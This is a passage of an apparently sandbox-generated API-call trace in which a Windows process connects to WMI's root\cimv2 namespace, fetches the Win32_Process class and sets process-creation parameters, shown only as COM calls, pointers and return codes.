wszName="CreateFlags", lFlags=0, pVal=0x1b10da50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d9f7c8*=19, plFlavor=0x2d9f7cc*=0 | out: pVal=0x1b10da50*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d9f7c8*=19, plFlavor=0x2d9f7cc*=0) returned 0x0 [0133.268] IWbemClassObject:Put (This=0x1b453800, wszName="CreateFlags", lFlags=0, pVal=0x1b10dab0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0133.268] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352c40, puCount=0x1b10da18 | out: puCount=0x1b10da18*=0x0) returned 0x0 [0133.268] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352400, puCount=0x1b10d9d8 | out: puCount=0x1b10d9d8*=0x2) returned 0x0 [0133.268] WbemDefPath:IWbemPath:GetText (in: This=0x352400, lFlags=4, puBuffLength=0x1b10d9d0*=0x0, pszText=0x0 | out: puBuffLength=0x1b10d9d0*=0xf, pszText=0x0) returned 0x0 [0133.268] WbemDefPath:IWbemPath:GetText (in: This=0x352400, lFlags=4, puBuffLength=0x1b10d9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b10d9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0133.268] CoGetObjectContext (in: riid=0x2846078*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10d928 | out: ppv=0x1b10d928*=0x3111d8) returned 0x0 [0133.268] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3111d8, pAptType=0x1b10d918 | out: pAptType=0x1b10d918*=1) returned 0x0 [0133.268] IUnknown:QueryInterface (in: This=0x3111d8, riid=0x2846058*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b10d920 | out: ppvObject=0x1b10d920*=0x0) returned 0x80004002 [0133.269] IUnknown:Release (This=0x3111d8) returned 0x1 [0133.269] CoGetClassObject (in: rclsid=0x1b3c7c88*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10cd18 | out: ppv=0x1b10cd18*=0x1b449900) returned 0x0 [0133.269] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b449900, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10ce00 | out: ppvObject=0x1b10ce00*=0x0) returned 0x80004002 [0133.269] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b449900, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cdd8 | out: ppvObject=0x1b10cdd8*=0x2a2c40) returned 0x0 [0133.270] WbemDefPath:IUnknown:Release (This=0x1b449900) returned 0x0 [0133.270] WbemDefPath:IUnknown:QueryInterface (in: This=0x2a2c40, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cb80 | out: ppvObject=0x1b10cb80*=0x2a2c40) returned 0x0 [0133.270] WbemDefPath:IUnknown:QueryInterface (in: This=0x2a2c40, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10cc10 | out: ppvObject=0x1b10cc10*=0x0) returned 0x80004002 [0133.270] WbemDefPath:IUnknown:QueryInterface (in: This=0x2a2c40, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c408 | out: ppvObject=0x1b10c408*=0x0) returned 0x80004002 [0133.270] WbemDefPath:IUnknown:AddRef (This=0x2a2c40) returned 0x3 [0133.270] WbemDefPath:IUnknown:QueryInterface (in: This=0x2a2c40, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c2c8 | out: ppvObject=0x1b10c2c8*=0x0) returned 0x80004002 [0133.270] WbemDefPath:IUnknown:QueryInterface (in: This=0x2a2c40, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c250 | out: ppvObject=0x1b10c250*=0x0) returned 0x80004002 [0133.270] WbemDefPath:IUnknown:QueryInterface (in: This=0x2a2c40, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c240 | out: ppvObject=0x1b10c240*=0x1b4496a0) returned 0x0 [0133.270] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4496a0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c268 | out: pCid=0x1b10c268*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0133.270] WbemDefPath:IUnknown:Release (This=0x1b4496a0) returned 0x3 [0133.270] CoGetContextToken (in: pToken=0x1b10c2f0 | out: pToken=0x1b10c2f0) returned 0x0 [0133.270] CoGetContextToken (in: pToken=0x1b10c770 | out: pToken=0x1b10c770) returned 0x0 [0133.271] WbemDefPath:IUnknown:QueryInterface (in: This=0x2a2c40, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c830 | out: ppvObject=0x1b10c830*=0x0) returned 0x80004002 [0133.271] WbemDefPath:IUnknown:Release (This=0x2a2c40) returned 0x2 [0133.271] WbemDefPath:IUnknown:Release (This=0x2a2c40) returned 0x1 [0133.271] CoGetContextToken (in: pToken=0x1b10d560 | out: pToken=0x1b10d560) returned 0x0 [0133.271] CoGetContextToken (in: pToken=0x1b10d460 | out: pToken=0x1b10d460) returned 0x0 [0133.271] WbemDefPath:IUnknown:QueryInterface (in: This=0x2a2c40, riid=0x1b10d5c0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b10d590 | out: ppvObject=0x1b10d590*=0x2a2c40) returned 0x0 [0133.271] WbemDefPath:IUnknown:AddRef (This=0x2a2c40) returned 0x3 [0133.271] WbemDefPath:IUnknown:Release (This=0x2a2c40) returned 0x2 [0133.271] WbemDefPath:IWbemPath:SetText (This=0x2a2c40, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0133.271] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x2a2c40, puCount=0x1b10d948 | out: puCount=0x1b10d948*=0x2) returned 0x0 [0133.271] WbemDefPath:IWbemPath:GetText (in: This=0x2a2c40, lFlags=4, puBuffLength=0x1b10d940*=0x0, pszText=0x0 | out: puBuffLength=0x1b10d940*=0xf, pszText=0x0) returned 0x0 [0133.271] WbemDefPath:IWbemPath:GetText (in: This=0x2a2c40, lFlags=4, puBuffLength=0x1b10d940*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b10d940*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0133.271] CoGetObjectContext (in: riid=0x2846078*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10d9b8 | out: ppv=0x1b10d9b8*=0x3111d8) returned 0x0 [0133.271] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3111d8, pAptType=0x1b10d9a8 | out: pAptType=0x1b10d9a8*=1) returned 0x0 [0133.271] IUnknown:QueryInterface (in: This=0x3111d8, riid=0x2846058*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b10d9b0 | out: ppvObject=0x1b10d9b0*=0x0) returned 0x80004002 [0133.271] IUnknown:Release (This=0x3111d8) returned 0x1 [0133.272] CoGetClassObject (in: rclsid=0x1b3c81c8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10d078 | out: ppv=0x1b10d078*=0x1b44a080) returned 0x0 [0133.272] WbemLocator:IUnknown:QueryInterface (in: This=0x1b44a080, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10d160 | out: ppvObject=0x1b10d160*=0x0) returned 0x80004002 [0133.272] WbemLocator:IClassFactory:CreateInstance (in: This=0x1b44a080, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d138 | out: ppvObject=0x1b10d138*=0x1b44a500) returned 0x0 [0133.272] WbemLocator:IUnknown:Release (This=0x1b44a080) returned 0x0 [0133.272] WbemLocator:IUnknown:QueryInterface (in: This=0x1b44a500, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cee0 | out: ppvObject=0x1b10cee0*=0x1b44a500) returned 0x0 [0133.273] WbemLocator:IUnknown:QueryInterface (in: This=0x1b44a500, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10cf70 | out: ppvObject=0x1b10cf70*=0x0) returned 0x80004002 [0133.273] WbemLocator:IUnknown:QueryInterface (in: This=0x1b44a500, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c768 | out: ppvObject=0x1b10c768*=0x0) returned 0x80004002 [0133.273] WbemLocator:IUnknown:AddRef (This=0x1b44a500) returned 0x3 [0133.273] WbemLocator:IUnknown:QueryInterface (in: This=0x1b44a500, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c628 | out: ppvObject=0x1b10c628*=0x0) returned 0x80004002 [0133.273] WbemLocator:IUnknown:QueryInterface (in: This=0x1b44a500, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c5b0 | out: ppvObject=0x1b10c5b0*=0x0) returned 0x80004002 [0133.273] WbemLocator:IUnknown:QueryInterface (in: This=0x1b44a500, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c5a0 | out: ppvObject=0x1b10c5a0*=0x0) returned 0x80004002 [0133.273] CoGetContextToken (in: pToken=0x1b10c650 | out: pToken=0x1b10c650) returned 0x0 [0133.273] CoGetContextToken (in: pToken=0x1b10cad0 | out: pToken=0x1b10cad0) returned 0x0 [0133.273] WbemLocator:IUnknown:QueryInterface (in: This=0x1b44a500, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cb90 | out: ppvObject=0x1b10cb90*=0x0) returned 0x80004002 [0133.273] WbemLocator:IUnknown:Release (This=0x1b44a500) returned 0x2 [0133.273] WbemLocator:IUnknown:Release (This=0x1b44a500) returned 0x1 [0133.273] CoGetContextToken (in: pToken=0x1b10d510 | out: pToken=0x1b10d510) returned 0x0 [0133.273] CoGetContextToken (in: pToken=0x1b10d410 | out: pToken=0x1b10d410) returned 0x0 [0133.273] WbemLocator:IUnknown:QueryInterface (in: This=0x1b44a500, riid=0x1b10d570*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b10d540 | out: ppvObject=0x1b10d540*=0x1b44a500) returned 0x0 [0133.273] WbemLocator:IUnknown:AddRef (This=0x1b44a500) returned 0x3 [0133.273] WbemLocator:IUnknown:Release (This=0x1b44a500) returned 0x2 [0133.274] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x2a2c40, puCount=0x1b10d948 | out: puCount=0x1b10d948*=0x2) returned 0x0 [0133.274] WbemDefPath:IWbemPath:GetText (in: This=0x2a2c40, lFlags=8, puBuffLength=0x1b10d940*=0x0, pszText=0x0 | out: puBuffLength=0x1b10d940*=0xf, pszText=0x0) returned 0x0 [0133.274] WbemDefPath:IWbemPath:GetText (in: This=0x2a2c40, lFlags=8, puBuffLength=0x1b10d940*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b10d940*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0133.274] CoCreateInstance (in: rclsid=0x7ffb13d166a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffb13d16708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b10d690 | out: ppv=0x1b10d690*=0x1b449f40) returned 0x0 [0133.274] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b449f40, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b10d808 | out: ppNamespace=0x1b10d808*=0x1b4032d0) returned 0x0 [0133.668] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4032d0, riid=0x7ffb13d16528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d508 | out: ppvObject=0x1b10d508*=0x1b459350) returned 0x0 [0133.669] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b459350, pProxy=0x1b4032d0, pAuthnSvc=0x1b10d5d0, pAuthzSvc=0x1b10d550, pServerPrincName=0x1b10d578, pAuthnLevel=0x1b10d554, pImpLevel=0x1b10d560, pAuthInfo=0x1b10d588, pCapabilites=0x1b10d564 | out: pAuthnSvc=0x1b10d5d0*=0xa, pAuthzSvc=0x1b10d550*=0x0, pServerPrincName=0x1b10d578, pAuthnLevel=0x1b10d554*=0x6, pImpLevel=0x1b10d560*=0x2, pAuthInfo=0x1b10d588, pCapabilites=0x1b10d564*=0x1) returned 0x0 [0133.669] WbemLocator:IUnknown:Release (This=0x1b459350) returned 0x1 [0133.669] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4032d0, riid=0x7ffb13d16518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d4a0 | out: ppvObject=0x1b10d4a0*=0x1b459398) returned 0x0 [0133.669] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4032d0, riid=0x7ffb13d16528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d4b0 | out: ppvObject=0x1b10d4b0*=0x1b459350) returned 0x0 [0133.669] WbemLocator:IClientSecurity:SetBlanket (This=0x1b459350, pProxy=0x1b4032d0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0133.669] WbemLocator:IUnknown:Release (This=0x1b459350) returned 0x2 [0133.669] WbemLocator:IUnknown:Release (This=0x1b459398) returned 0x1 [0133.669] CoTaskMemFree (pv=0x1b420e00) [0133.669] WbemLocator:IUnknown:Release (This=0x1b449f40) returned 0x0 [0133.723] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4032d0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cfa0 | out: ppvObject=0x1b10cfa0*=0x1b459398) returned 0x0 [0133.723] WbemLocator:IUnknown:QueryInterface (in: This=0x1b459398, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10d030 | out: ppvObject=0x1b10d030*=0x0) returned 0x80004002 [0133.724] WbemLocator:IUnknown:QueryInterface (in: This=0x1b459398, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10cc50 | out: ppvObject=0x1b10cc50*=0x0) returned 0x80004002 [0133.725] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4032d0, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c828 | out: ppvObject=0x1b10c828*=0x0) returned 0x80004002 [0133.725] WbemLocator:IUnknown:AddRef (This=0x1b459398) returned 0x3 [0133.725] WbemLocator:IUnknown:QueryInterface (in: This=0x1b459398, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c6e8 | out: ppvObject=0x1b10c6e8*=0x0) returned 0x80004002 [0133.725] WbemLocator:IUnknown:QueryInterface (in: This=0x1b459398, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c670 | out: ppvObject=0x1b10c670*=0x0) returned 0x80004002 [0133.725] WbemLocator:IUnknown:QueryInterface (in: This=0x1b459398, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c660 | out: ppvObject=0x1b10c660*=0x1b459278) returned 0x0 [0133.725] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b459278, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c688 | out: pCid=0x1b10c688*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0133.725] WbemLocator:IUnknown:Release (This=0x1b459278) returned 0x3 [0133.725] CoGetContextToken (in: pToken=0x1b10c710 | out: pToken=0x1b10c710) returned 0x0 [0133.726] CoGetContextToken (in: pToken=0x1b10cb90 | out: pToken=0x1b10cb90) returned 0x0 [0133.726] WbemLocator:IUnknown:QueryInterface (in: This=0x1b459398, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cc50 | out: ppvObject=0x1b10cc50*=0x1b459360) returned 0x0 [0133.726] WbemLocator:IRpcOptions:Query (in: This=0x1b459360, pPrx=0x1b459398, dwProperty=2, pdwValue=0x1b10cc40 | out: pdwValue=0x1b10cc40) returned 0x80004002 [0133.726] WbemLocator:IUnknown:Release (This=0x1b459360) returned 0x3 [0133.726] WbemLocator:IUnknown:Release (This=0x1b459398) returned 0x2 [0133.726] CoGetContextToken (in: pToken=0x1b10d250 | out: pToken=0x1b10d250) returned 0x0 [0133.726] CoGetContextToken (in: pToken=0x1b10d150 | out: pToken=0x1b10d150) returned 0x0 [0133.726] WbemLocator:IUnknown:QueryInterface (in: This=0x1b459398, riid=0x1b10d2b0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b10d280 | out: ppvObject=0x1b10d280*=0x1b4032d0) returned 0x0 [0133.726] WbemLocator:IUnknown:AddRef (This=0x1b4032d0) returned 0x4 [0133.726] WbemLocator:IUnknown:Release (This=0x1b4032d0) returned 0x3 [0133.726] WbemLocator:IUnknown:Release (This=0x1b4032d0) returned 0x2 [0133.726] SysStringLen (param_1=0x0) returned 0x0 [0133.726] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x2a2c40, puCount=0x1b10d988 | out: puCount=0x1b10d988*=0x2) returned 0x0 [0133.726] WbemDefPath:IWbemPath:GetText (in: This=0x2a2c40, lFlags=4, puBuffLength=0x1b10d980*=0x0, pszText=0x0 | out: puBuffLength=0x1b10d980*=0xf, pszText=0x0) returned 0x0 [0133.726] WbemDefPath:IWbemPath:GetText (in: This=0x2a2c40, lFlags=4, puBuffLength=0x1b10d980*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b10d980*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0133.726] CoGetContextToken (in: pToken=0x1b10d290 | out: pToken=0x1b10d290) returned 0x0 [0133.726] WbemLocator:IUnknown:AddRef (This=0x1b459398) returned 0x3 [0133.726] WbemLocator:IUnknown:QueryInterface (in: This=0x1b459398, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d290 | out: ppvObject=0x1b10d290*=0x1b459398) returned 0x0 [0133.727] WbemLocator:IUnknown:Release (This=0x1b459398) returned 0x3 [0133.727] WbemLocator:IUnknown:Release (This=0x1b459398) returned 0x2 [0133.727] WbemDefPath:IWbemPath:GetText (in: This=0x352c40, lFlags=2, puBuffLength=0x1b10d990*=0x0, pszText=0x0 | out: puBuffLength=0x1b10d990*=0xe, pszText=0x0) returned 0x0 [0133.727] WbemDefPath:IWbemPath:GetText (in: This=0x352c40, lFlags=2, puBuffLength=0x1b10d990*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b10d990*=0xe, pszText="Win32_Process") returned 0x0 [0133.727] IWbemServices:GetObject (in: This=0x1b4032d0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b10d910*=0x0, ppCallResult=0x0 | out: ppObject=0x1b10d910*=0x1b441b80, ppCallResult=0x0) returned 0x0 [0133.735] IWbemClassObject:Get (in: This=0x1b441b80, wszName="__PATH", lFlags=0, pVal=0x1b10d8c0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b10da08*=0, plFlavor=0x1b10da00*=0 | out: pVal=0x1b10d8c0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1b10da08*=8, plFlavor=0x1b10da00*=64) returned 0x0 [0133.736] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x42 [0133.736] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x42 [0133.736] CoGetObjectContext (in: riid=0x2846078*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10d8d8 | out: ppv=0x1b10d8d8*=0x3111d8) returned 0x0 [0133.736] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3111d8, pAptType=0x1b10d8c8 | out: pAptType=0x1b10d8c8*=1) returned 0x0 [0133.736] IUnknown:QueryInterface (in: This=0x3111d8, riid=0x2846058*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b10d8d0 | out: ppvObject=0x1b10d8d0*=0x0) returned 0x80004002 [0133.736] IUnknown:Release (This=0x3111d8) returned 0x1 [0133.738] CoGetClassObject (in: rclsid=0x1b3c7c88*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, 